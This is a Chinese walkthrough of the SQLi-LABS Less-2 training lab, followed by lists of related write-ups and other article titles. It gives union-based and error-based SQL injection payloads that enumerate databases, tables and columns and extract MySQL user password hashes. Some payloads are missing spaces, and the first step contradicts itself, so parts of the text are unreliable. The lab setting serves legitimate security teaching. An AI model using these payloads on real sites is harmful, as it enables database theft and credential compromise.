第二关注入点为数值型注入 , 推荐使用联合注入、报错注入。

方式一:联合注入

参考文章:联合注入使用详解,原理+步骤+实战案例

第一步、判断注入点

地址栏输入 ?id=1 and false -- a,页面正常显示

地址栏输入 ?id=1 and 0 -- a,页面异常(空)显示

确定注入点为:数值型注入

第二步、判断字段数

地址栏依次输入以下 payload:

?id=1 order by 1 -- a

?id=1 order by 2 -- a

?id=1 order by 3 -- a

?id=1 order by 4 -- a

按照第4个字段排序开始报错,确定字段数为:3

第三步、判断显示位

地址栏输入 ?id=-1 union select 1,2,3 -- a

第四步、脱库

获取所有数据库,地址栏输入 payload:

?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata
),3 -- a

获取secutiry库的所有表,地址栏输入 payload:

?id=0 union select 1,(select group_concat(table_name) from information_schema.tableswhere table_schema='security'
),3 -- a

获取 users 表的所有字段,地址栏输入 payload:

?id=0 union select 1,(select group_concat(column_name) from information_schema.columnswhere table_schema='security' and table_name='users'
),3 -- a

获取数据库用户的密码,地址栏输入 payload:

?id=0 union select 1,(select group_concat(user,password) from mysql.userwhere user = 'mituan'
),3 -- a

方式二:报错注入

参考文章:报错注入使用详解,原理+步骤+实战案例

第一步、判断注入点

地址栏输入 ?id=1'

页面显示数据库的报错信息,符合报错注入的条件。

第二步、判断报错条件

地址栏输入 ?id=1 and updatexml(1,0x7e,3); -- a

页面正常报错,确定报错函数可以使用。

第三步、脱库

获取所有数据库,地址栏输入以下 payload:

?id=-1 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata ), 33 , 31)
),3) -- a

获取 security 库中所有表,地址栏输入以下 payload:

?id=-1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tableswhere table_schema = "security"), 1 , 31)
),3) -- a

获取 users 表中的所有字段,地址栏输入以下 payload:

?id=-1 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columnswhere table_schema="security" and table_name="users"), 1 , 31)
),3) -- a

获取数据库用户的密码,地址栏输入以下 payload:

?id=-1 and updatexml(1,concat('~',substr((select password from mysql.user where user='mituan'), 1 , 31)
),3) -- a

推荐专栏

《网络安全快速入门》 用最短的时间,掌握最核心的网络安全技术,持续更新……

《靶场通关教程》各个靶场的通关教程,持续更新……

SQLi-LABS Less-2,联合注入+报错注入相关推荐

  1. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  2. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  3. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  4. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  5. SQLi LABS Less 23 联合注入+报错注入+布尔盲注

    第23关是单引号字符型注入: 过滤了注释,使用闭合引号来绕过: 这篇文章提供联合注入.报错注入.布尔盲注三种解题方式. 一.功能分析 这一关是一个简单的查询功能,在地址栏输入id,后台根据id查询数据 ...

  6. SQLi LABS Less-11 联合注入+报错注入

    第十一关是单引号字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 用户名输入: a' or 1 -- a 密码随便输入: ...

  7. SQLi LABS Less-12 联合注入+报错注入

    第十二关是双引号+括号的字符型注入 , 推荐使用联合注入.报错注入. 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 用户名输入:a") or 1 ...

  8. SQLi LABS Less-4 联合注入+报错注入

    第四关是双引号+括号的字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 地址栏输入 ?id=1") and 1 ...

  9. SQLi LABS Less-3 联合注入+报错注入

    第三关是单引号+括号的字符型注入 ,推荐使用联合注入.报错注入. 方式一:联合注入 推荐文章:联合注入使用详解,原理+步骤+实战教程 第一步.判断注入点类型 地址栏输入 ?id=1') and 1 - ...

  10. SQLi Labs Less-1 联合注入+报错注入

    第一关是单引号字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解,原理+步骤+实战案例 第一步.判断注入点 地址栏输入:?id=1' and 1 -- a,正常显示 ...

最新文章

  1. 前端开发基础7(Bootstrap框架)
  2. Ionic2中集成第三方控件Sweetalert
  3. 【DIY】自己动手更换热水器镁棒,保养电加热热水器注意事项,电热水器镁棒多久更换一次实际数据参考...
  4. python ctypes库5_如何传递一个字符串数组
  5. vmware安装ubuntu13版本的vm tools时遇到的错误解决
  6. JavaScript --- 解析Cookie
  7. Tomcat自定义部署
  8. C语言实践作业报告,c语言社会实践报告
  9. 两岸三地在线编程学习网站大全
  10. Eclipse europa 更新时 Error retrieving feature.xml. [error in opening zip file]的解决
  11. zookeeper能做什么?
  12. 解决UBUNTU FLASH下显示中文为口的办法
  13. java 学习资料 分享
  14. 小程序注册开发全流程
  15. Excel如何根据身份证号码计算年龄
  16. 北邮机器人队2020预备队培训(七) ——仿真文件介绍
  17. 台式机未插入扬声器或者耳机
  18. 南京大学计算机系2019复试离散题目-逻辑与推理
  19. 义哥征途登录显示服务器维护中,征途单机版
  20. java shp文件_java发布shp数据

热门文章

  1. 64位双系统Ubuntu 14.04 LTS + Caffe + CUDA 7.5 + Opencv 3.0 安装配置实战
  2. MySQL-安全对调两个表名
  3. 模拟登录新浪微博(Python)
  4. 关于一篇MSDN(January2006)上的一个XML操作--复制结点
  5. 正则表达式学习笔记006--转义符的认识与应用
  6. 小程序-读取视频数据 每个N帧采样保存
  7. HTML img 标签的 alt 属性
  8. python多进程用不了_Python多进程相关的坑
  9. ucc编译器(语法解析)
  10. 随想录(qemu的学习)